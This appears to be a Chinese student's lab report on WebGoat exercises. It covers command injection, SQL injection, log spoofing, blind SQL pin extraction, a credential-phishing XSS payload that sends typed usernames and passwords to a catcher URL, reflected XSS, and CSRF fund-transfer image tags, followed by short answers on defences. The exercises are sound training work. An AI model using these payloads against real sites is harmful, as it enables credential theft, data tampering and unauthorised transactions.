实验完成情况

  • 共完成11题

准备工作

  • 在浏览器输入localhost:8080/WebGoat打开webgoat,左侧选择题目

  • 右键选择Inspect Element开始调试

Injection Flaws

1. Command Injection

  • 右键开始调试,在页面下拉菜单的源代码中添加"& netstat -an & ipconfig"

  • 选中我们改动的那一项,点击View查看结果

2. Numberic SQL Injection

  • 将语句改为SELECT * FROM weather_data WHERE station = 101 OR 1=1,并在station的value处做相应修改

  • 可以查看各地天气了

3. Log Spoofing

  • username一栏输入:5224【学号】%0d%0aLogin Succeeded for username: admin

  • 查看结果

4. LAB:SQL Injection

  • 更改密码栏maxlength为100.

  • 选择用户Neville (admin)登陆,在密码栏输入' or 1=1 --

5. Database Backdoors

  • 输入101查看个人信息

  • 输入简单语句101; update employee set salary=5224进行攻击,这里没有做太多操作

6. Blind Numberic SQL Injection

  • 利用类似于101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 ); 的语句缩小范围,最终确定pin值

Cross-Site Scripting(XSS)

1. Phishing with XSS

  • 在Search栏输入表单代码
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 可以看到出现了相应表单,可以输入用户名密码

  • 点击登陆,可以接收到输入的用户名和密码

2. Reflected XSS Attacks

  • 在最后一个对话框输入<script>alert('I am 5224')</script>【或其他警告】

  • 弹出相应对话框

CSRF

1. Cross Site Request Forgery (CSRF)

  • 在Message对话框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=288&menu=900&transferFunds=500" width="1" height="1">

【注意Screenmenu的值应为自己页面右侧窗口出的数值】

2. CSRF Prompt By-Pass

  • 在Message对话框中输入
<img src="attack?Screen=226&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=226&menu=900&transferFunds=confirm"
width="1" height="1">

基础问题回答

1. SQL注入攻击原理,如何防御

  • 攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  • SQL注入一般流程是:

  1. 寻找到SQL注入的位置

  2. 判断服务器类型和后台数据库类型

  3. 针对不通的服务器和数据库特点进行SQL注入攻击

  • 防御措施:采用预编译语句,使用正则表达式过滤传入的参数,字符串过滤,jsp中调用该函数检查是否包函非法字符等。总体来说一定要注意规范代码,尽量减少有漏洞的地方。

2. XSS攻击的原理,如何防御

  • 攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

  • 防御措施:HttpOnly防止劫取Cookie;输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码等。

3. CSRF攻击原理,如何防御

  • 攻击原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。

  • 防御措施:验证HTTP Referer字段,在请求地址中添加token并验证,在HTTP头中自定义属性并验证等。

实验感想

有意思是真的有意思,我的kali全屏之后整个高斯模糊、我也是真的服气

2017-2018-2 20155224 『网络对抗技术』Exp9:Web安全基础的更多相关文章

  1. 2017-2018-2 20155224『网络对抗技术』Exp5:MSF基础应用

    基础问题回答 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码传送到靶机中,我觉得老师上课举的火箭和卫星的例子非常形象,火箭只是 ...

  2. 2017-2018-2 20155303『网络对抗技术』Exp9:Web安全基础

    2017-2018-2 『网络对抗技术』Exp9:Web安全基础 --------CONTENTS-------- 一.基础问题回答 1.SQL注入攻击原理,如何防御? 2.XSS攻击的原理,如何防御 ...

  3. 2017-2018-2 20155303『网络对抗技术』Exp5:MSF基础应用

    2017-2018-2 20155303『网络对抗技术』Exp5:MSF基础应用 --------CONTENTS-------- 一.原理与实践说明 1.实践内容 2.预备知识 3.基础问题 二.实 ...

  4. 2017-2018-2 20155310『网络对抗技术』Exp5:MSF基础应用

    2017-2018-2 20155310『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:由攻击者或渗透测试者利 ...

  5. # 2017-2018-2 20155319『网络对抗技术』Exp5:MSF基础应用

    2017-2018-2 20155319『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:使用者利用漏洞进行攻击 ...

  6. 2017-2018-2 20155327『网络对抗技术』Exp5:MSF基础应用

    2017-2018-2 20155327『网络对抗技术』Exp5:MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:使用者利用漏洞进行攻击 ...

  7. 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础

    2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...

  8. 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13

    <网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...

  9. 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...

随机推荐

  1. FI配置步骤清单

    1.定义公司代码   配置路径: R/3定制IMG的实施指南>企业结构>定义>财务会计>定义, 复制, 删除, 检查公司代码 事务代码 EC01 2.编辑科目表清单   配置路 ...

  2. LeetCode题解之Split Linked List in Parts

    1.题目描述 2.题目分析 主要是理解题意,将每个子链表应该分得的节点个数计算清楚.利用除数和余数的方法进行计算. 3.代码 vector<ListNode*> splitListToPa ...

  3. jmeter如何保持JSESSIONID

    利用Jmeter做接口测试的时候,如何提取头部的JSESSIONID然后传递到下一个请求,继续完成当前用户的请求. 一.如果响应数据里面没有返回JSESSIONID,直接添加http cookies ...

  4. 安装并使用pt-ioprofile

    pt-ioprofile,是一个percona的性能分析工具,可以查看进程输出.输入,打印一些表文件及活动IO.pt-ioprofile是一个只读工具,所以对数据没风险.由于网上对pt-ioprofi ...

  5. python基础知识回顾之元组

    元组与列表的方法基本一样,只不过创建元组是用小括号()把元素括起来,两者的区别在于,元组的元素不可被修改. 元组被称为只读列表,即数据可以被查询,但不能被修改,列表的切片操作适用于元组. 元组写在小括 ...

  6. MySQL索引选择不正确并详细解析OPTIMIZER_TRACE格式

    一 表结构如下: CREATE TABLE t_audit_operate_log (  Fid bigint(16) AUTO_INCREMENT,  Fcreate_time int(10) un ...

  7. 小慢歌之基于RHEL8/CentOS8的网络IP配置详解

    ➡ 在rhel8(含centos8)上,没有传统的network.service,在/etc/sysconfig/network-scripts/里也看不到任何脚本文件,那么该如何进行网络配置呢. ➡ ...

  8. python自定义函数和推导

    #之所以把这俩写一起,并不是因为这俩有什么关系,因为都太简单,没什么可说的 #自定义函数的格式,def开头,后面空格,在后面是函数名,接括号,括号里是入参参数 #!/usr/bin/python # ...

  9. ubuntu下如何设置中文输入法

    许多朋友在用ubuntu操作系统时,因没有中文输入法而苦恼!今天我就和大家分享一下如何在ubuntu下设置如输入法的简单方法: 1 在任务栏的右上角设置选项-——>system settings ...

  10. MFC 常用功能总结

    目录 ◆ 获取启动参数◆ 调整窗体大小◆ 关闭Dialog窗体◆ Dialog启动时指定控件为焦点◆ Dialog中禁止ESC回车关闭窗体◆ 回车后焦点自动跳到下一个控件◆ 窗体中某个控件捕获右键菜单 ...